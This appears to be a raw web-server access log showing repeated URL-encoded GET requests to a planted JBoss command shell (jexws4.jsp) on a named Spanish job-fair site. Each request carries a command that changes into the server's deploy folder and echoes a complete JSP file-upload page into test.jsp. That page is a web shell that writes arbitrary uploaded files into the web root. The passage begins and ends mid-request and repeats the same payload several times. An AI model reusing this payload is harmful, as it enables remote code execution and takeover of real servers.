5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833801826 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833795684 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833741194 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr